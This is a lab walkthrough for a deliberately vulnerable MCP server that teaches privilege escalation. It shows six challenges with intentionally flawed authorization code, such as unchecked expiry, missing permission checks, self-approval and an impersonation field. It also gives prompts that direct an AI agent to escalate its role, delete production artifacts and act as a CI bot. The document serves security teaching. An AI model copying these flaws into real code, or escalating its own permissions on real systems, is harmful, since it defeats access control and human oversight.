MCP02 - Privilege Escalation via Scope Creep

In MCP01 we took the tokens. Now let's take the permissions.

Dwight Schrute meme. Top caption: ROLE: VIEWER. Bottom caption: PERMISSIONS: ASSISTANT TO THE ADMIN.

From tokens to permissions

A token proves who you are. That was MCP01.

A permission decides what you are allowed to do. That is MCP02.

The MCP server checks permissions itself, every time you call a tool.

What a permission is

A permission is one action an account is allowed to do. It has a name.

The account in this lab has four:

view_projects
view_logs
deploy_to_staging
comment_on_issues

Here is how they get used. The deploy_release tool deploys a project:

  • Deploy to staging needs deploy_to_staging. The account has it, so it works.
  • Deploy to production needs deploy_to_production. The account does not have it, so it fails.

Same tool. Same account. One argument changed. Different result.

What privilege escalation is

Privilege escalation is doing something your permissions do not allow.

Before it acts, a tool should ask four things:

  • Does this account have the permission?
  • Is that permission still valid?
  • Did someone with authority grant it?
  • Is this account allowed to be the one doing this?

Every challenge in this lab is a tool that skipped one of them.

Lab setup

setting up MCP Server

git clone https://github.com/truststrikelabs/MCP-Vulnerable---OWASP-10.git
cd MCP-Vulnerable---OWASP-10
pip3 install -r requirements.txt --break-system-packages
cd mcp02-privilege-escalation
python3 run.py --reset

The lab serves its API and MCP endpoint. The web UI is shared across every lab in this series, so start it in a second terminal and leave it running:

python3 gui/run.py

Open http://127.0.0.1:8410 and pick MCP02 from the sidebar.

claude

claude mcp add -s project --transport http platform_mcp http://127.0.0.1:8401/mcp

codex

codex mcp add platform_mcp --url http://127.0.0.1:8401/mcp

Restart claude/codex chat windows for mcp to load.

MCP01 runs on 8400 and MCP02 runs on 8401, so you can keep both connected.

setting up MCP inspector

npx @modelcontextprotocol/inspector

Inspector Configuration

Add server
Server ID: platform_mcp
Transport: streamable-http
URL: http://127.0.0.1:8401/mcp

1. Expired Permission Still Works

Your production access expired on 14 March. Deploy payments-api to production anyway.

Vulnerable Code

def _granted_permissions(account: str) -> list[str]:
    """Every permission on the account, whether or not it has expired."""
    ledger = [grant["permission"] for grant in database.grants_for(account)]
    return sorted(set(ledger + _role_permissions(account)))


required = ENVIRONMENT_PERMISSIONS[target]
if required not in _granted_permissions(AGENT_ACCOUNT):
    return {"status": "rejected", "message": f"Missing permission: {required}"}

expires_at is loaded from the ledger, returned in the response, and never compared to anything.

Lab Walkthrough

Using AI prompt:

Call my_access and read the temporary_grants block.
Note which permission has already expired.
Call deploy_release for payments-api with environment set to production.
Show the complete response.

Using MCP Inspector:

Tools > my_access
Tools > deploy_release    project = payments-api
                          environment = production

Response

my_access answers first:

{
  "account": "dozy",
  "role": "viewer",
  "permissions": [
    "comment_on_issues",
    "deploy_to_staging",
    "view_logs",
    "view_projects"
  ],
  "temporary_grants": [
    {
      "permission": "deploy_to_production",
      "granted_by": "priya.shah",
      "granted_at": "2026-03-12",
      "expires_at": "2026-03-14",
      "justification": "INC-4471 hotfix, remove after",
      "status": "expired"
    }
  ],
  "available_roles": ["viewer", "deployer", "admin"]
}

Four permissions and a Viewer role. Somebody granted production access during an incident in March and wrote "remove after" in the justification. Nobody removed it. The grant is marked expired and deploy_to_production is absent from the live permission list, so the server has already worked out that this access is dead.

Then the deploy runs anyway:

{
  "deployment_id": "dep_production_832be0d2",
  "project": "payments-api",
  "environment": "production",
  "status": "deployed",
  "authorization": {
    "account": "dozy",
    "permission_used": "deploy_to_production",
    "granted_by": "priya.shah",
    "expires_at": "2026-03-14",
    "expiry_checked": false
  },
  "escalation": {
    "reason": "An expired permission was accepted",
    "expired_on": "2026-03-14",
    "audit_reference": "FLAG{expired_access_a1b2c3d4e5}"
  }
}

expires_at in the past and expiry_checked: false on the next line. The server knew.


2. Delete With No Permission Check

Your role is Viewer. Nothing in your permission list mentions deleting. Delete something in production anyway.

Vulnerable Code

@mcp.tool(structured_output=False)
def delete_artifact(artifact_id: str) -> dict[str, Any]:
    """Delete a stored build artifact returned by list_artifacts."""
    artifact = _find_artifact(artifact_id)
    if artifact is None:
        return {"status": "rejected", "message": f"Unknown artifact: {artifact_id}"}

    ARTIFACTS.remove(artifact)
    return {"artifact_id": artifact["artifact_id"], "status": "deleted"}

There is a check. It confirms the artifact exists. Nothing asks whether you are allowed to remove it.

Lab Walkthrough

Using AI prompt:

Call my_access and confirm your permission list has nothing that allows deleting.
Call list_artifacts and choose an artifact_id.
Call delete_artifact for that artifact_id.
Show the complete response.

Using MCP Inspector:

Tools > list_artifacts
Tools > delete_artifact    artifact_id = art_2b58

Response

{
  "artifact_id": "art_2b58",
  "project": "payments-api",
  "environment": "production",
  "status": "deleted",
  "authorization": {
    "account": "dozy",
    "caller_role": "viewer",
    "permission_required": "delete_artifacts",
    "permission_checked": false
  },
  "escalation": {
    "reason": "The tool ran no authorization check",
    "audit_reference": "FLAG{missing_check_a1b2c3d4e5}"
  }
}

The tool knows the permission it needed. It just never asked for it.


3. Promote Your Own Account

change_role was built for the IT admin. It was never restricted to the IT admin.

Vulnerable Code

previous_role = _role_for(target)
ACCOUNT_ROLES[target] = new_role
result: dict[str, Any] = {
    "account": target,
    "previous_role": previous_role,
    "role": new_role,
    "authorization": {
        "changed_by": AGENT_ACCOUNT,
        "approval_required": True,
        "approved_by": None,
    },
}

The role is written on line two. The approval fields are filled in afterwards, as decoration.

Lab Walkthrough

Using AI prompt:

Call my_access to confirm your current role and the available roles.
Call change_role with account set to dozy and role set to admin.
Show the complete response.

Using MCP Inspector:

Tools > my_access
Tools > change_role    account = dozy
                       role = admin

Response

{
  "account": "dozy",
  "previous_role": "viewer",
  "role": "admin",
  "status": "updated",
  "permissions": [
    "approve_changes",
    "comment_on_issues",
    "deploy_to_staging",
    "manage_accounts",
    "view_audit_log",
    "view_logs",
    "view_projects"
  ],
  "authorization": {
    "changed_by": "dozy",
    "approval_required": true,
    "approved_by": null
  },
  "escalation": {
    "reason": "An account raised its own role with no approval",
    "audit_reference": "FLAG{self_promote_a1b2c3d4e5}"
  }
}

approval_required: true and approved_by: null, in the same object, on a request that succeeded.


4. Borrow the CI Bot's Account

Your account cannot run the infra-apply job. The ci-deploy-bot account can. Run infra-apply as the bot.

Start by asking what jobs exist.

Tools > list_jobs
{
  "count": 2,
  "jobs": [
    {
      "job": "staging-deploy",
      "description": "Builds and ships a project to staging.",
      "required_permission": "deploy_to_staging"
    },
    {
      "job": "infra-apply",
      "description": "Applies infra-manifests to production infrastructure.",
      "required_permission": "run_infra_jobs"
    }
  ]
}

Two jobs, and each one names the permission it needs. You hold deploy_to_staging, so staging-deploy would run. infra-apply wants run_infra_jobs, which is not on your list.

This one refuses you first. Ask to run it as yourself anyway.

Tools > run_job    job = infra-apply
{
  "status": "rejected",
  "message": "dozy is missing permission: run_infra_jobs",
  "job": "infra-apply"
}

A correct refusal. Now look at who is allowed.

Vulnerable Code

identity = run_as.strip().lower() or AGENT_ACCOUNT

required = selected["required_permission"]
if required not in _active_permissions(identity):
    return {
        "status": "rejected",
        "message": f"{identity} is missing permission: {required}",
    }

The permission check is correct. It even honours expiry, which challenge 1 did not. It just runs against whatever account you typed into run_as.

Lab Walkthrough

Using AI prompt:

Call list_jobs and find the job that applies infra manifests.
Call run_job with that job and read the refusal.
Call list_accounts and find the account that holds run_infra_jobs.
Call run_job again with the same job and run_as set to that account.
Show the complete response.

Using MCP Inspector:

Tools > list_jobs
Tools > run_job         job = infra-apply
Tools > list_accounts
Tools > run_job         job = infra-apply
                        run_as = ci-deploy-bot

You can also read access://account/ci-deploy-bot to see the bot's full grant history. That one is a resource template, so it never appears in Inspector's Resources list. Only policy://platform/access-rules does. Open Resource Templates and fill in account_name.

Response

{
  "job_run_id": "run_eee39bfb",
  "job": "infra-apply",
  "status": "completed",
  "authorization": {
    "caller": "dozy",
    "identity_used": "ci-deploy-bot",
    "permission_used": "run_infra_jobs",
    "identity_verified": false
  },
  "escalation": {
    "reason": "The job ran under another account's permissions",
    "borrowed_from": "ci-deploy-bot",
    "audit_reference": "FLAG{impersonation_a1b2c3d4e5}"
  }
}

ci-deploy-bot is shared by three teams. Nothing in the log will ever say it was you.


5. Approve Your Own Change

You raised CHG-204 and it needs an admin to sign it. Sign it yourself.

Vulnerable Code

signed_by = approver.strip().lower()
change["status"] = "approved"
change["approved_by"] = signed_by
result: dict[str, Any] = {
    "change_id": change["change_id"],
    "status": "approved",
    "authorization": {
        "raised_by": change["raised_by"],
        "approved_by": signed_by,
        "required_approver_role": change["required_approver_role"],
        "approver_verified": False,
    },
}

required_approver_role is read out of the change and copied into the response. It is never compared with the role of the person signing.

Lab Walkthrough

Using AI prompt:

Call list_changes and find the change that is waiting for approval.
Note which account raised it.
Read policy://platform/access-rules and check who is allowed to approve a change.
Call approve_change with that change_id and approver set to the account that raised it.
Show the complete response.

Using MCP Inspector:

Tools > list_changes
Resources > policy://platform/access-rules
Tools > approve_change    change_id = CHG-204
                          approver = dozy

Response

The written policy is not vague about this:

{
  "rules": [
    "A temporary grant stops working on its expiry date.",
    "An access request must be approved by an account holding the admin role.",
    "An approver must never be the account that raised the request or change.",
    "A role change requires an approval record naming the approver.",
    "A platform job runs under the calling account, never under another account.",
    "Every destructive action checks a permission before it runs."
  ],
  "requestable_permissions": [
    "manage_accounts",
    "delete_artifacts",
    "approve_changes",
    "view_audit_log"
  ],
  "note": "These are the written rules. Compare them with what the tools actually do."
}

Rule three is the one being tested here: an approver must never be the account that raised the change. Now sign your own change:

{
  "change_id": "CHG-204",
  "title": "Deploy payments-api 4.2.0 to production",
  "status": "approved",
  "authorization": {
    "raised_by": "dozy",
    "approved_by": "dozy",
    "required_approver_role": "admin",
    "approver_verified": false
  },
  "escalation": {
    "reason": "The account that raised the change also approved it",
    "audit_reference": "FLAG{self_approval_a1b2c3d4e5}"
  }
}

raised_by and approved_by are the same string. The control exists. It just does not look at you.


6. The Request That Approves Itself

You do not have manage_accounts. Request it, then read the approval record.

Vulnerable Code

requester = AGENT_ACCOUNT
approver = approver.strip().lower() or requester
granted = database.add_grant(
    account=requester,
    permission=wanted,
    granted_by=approver,
    justification="",
)

One line. approver = approver or requester. It reads like a sensible default and it deletes the entire approval step.

Lab Walkthrough

Using AI prompt:

Read policy://platform/access-rules and note the requestable permissions and the rule about approvers.
Call request_access with one of those permissions and do not supply an approver.
Show the complete response and compare approved_by with requested_by.

Using MCP Inspector:

Resources > policy://platform/access-rules
Tools > request_access    permission = manage_accounts

Response

{
  "request_id": "req_23714486",
  "permission": "manage_accounts",
  "status": "approved",
  "authorization": {
    "requested_by": "dozy",
    "approved_by": "dozy",
    "approved_at": "2026-07-31",
    "approver_verified": false
  },
  "permissions": [
    "comment_on_issues",
    "deploy_to_staging",
    "manage_accounts",
    "view_logs",
    "view_projects"
  ],
  "escalation": {
    "reason": "The approver defaulted to the requester",
    "audit_reference": "FLAG{auto_approval_a1b2c3d4e5}"
  }
}

Requested and approved in the same second, by the same account. The form signed itself.

Read access://account/dozy afterwards. The grant is sitting in the ledger with granted_by: dozy and an empty justification, and nothing will ever remove it.


Summary

Six flags, one root cause. The server has to decide what the agent may do, and every one of those decisions is either missing, stale, or trusting a value the caller supplied.

# Challenge Entry point Control that failed Root cause
1 Expired Permission Still Works deploy_release with environment = production Expiry enforcement Presence is checked, the expiry date is not
2 Delete With No Permission Check delete_artifact with any artifact_id Authorization The tool checks the input exists and nothing else
3 Promote Your Own Account change_role with account = dozy Separation of duties The role is written before anything asks who approved it
4 Borrow the CI Bot's Account run_job with run_as = ci-deploy-bot Identity binding The check is correct, it runs against the account you named
5 Approve Your Own Change approve_change with approver = dozy Separation of duties The required approver role is recorded, never compared
6 The Request That Approves Itself request_access with no approver Approval flow The approver field defaults to the requester

Notice that challenges 1 and 4 both check permissions, and they disagree. run_job honours the expiry date correctly. deploy_release, written by someone else, does not. That is what drift looks like from the inside.

And it does not stop at the one action. Nothing in this lab expires, and nothing gets removed. The March hotfix grant is still there in July. The self-approved permission from challenge 6 stays in the ledger with an empty justification. Every escalation is permanent, and each one raises the floor for the next.

OWASP calls this privilege escalation via scope creep. Permissions get granted in seconds and removed never, so an agent's authority ends up being the running total of every exception anyone ever made for it.


Reference

MCP02 Privilege Escalation Scope Creep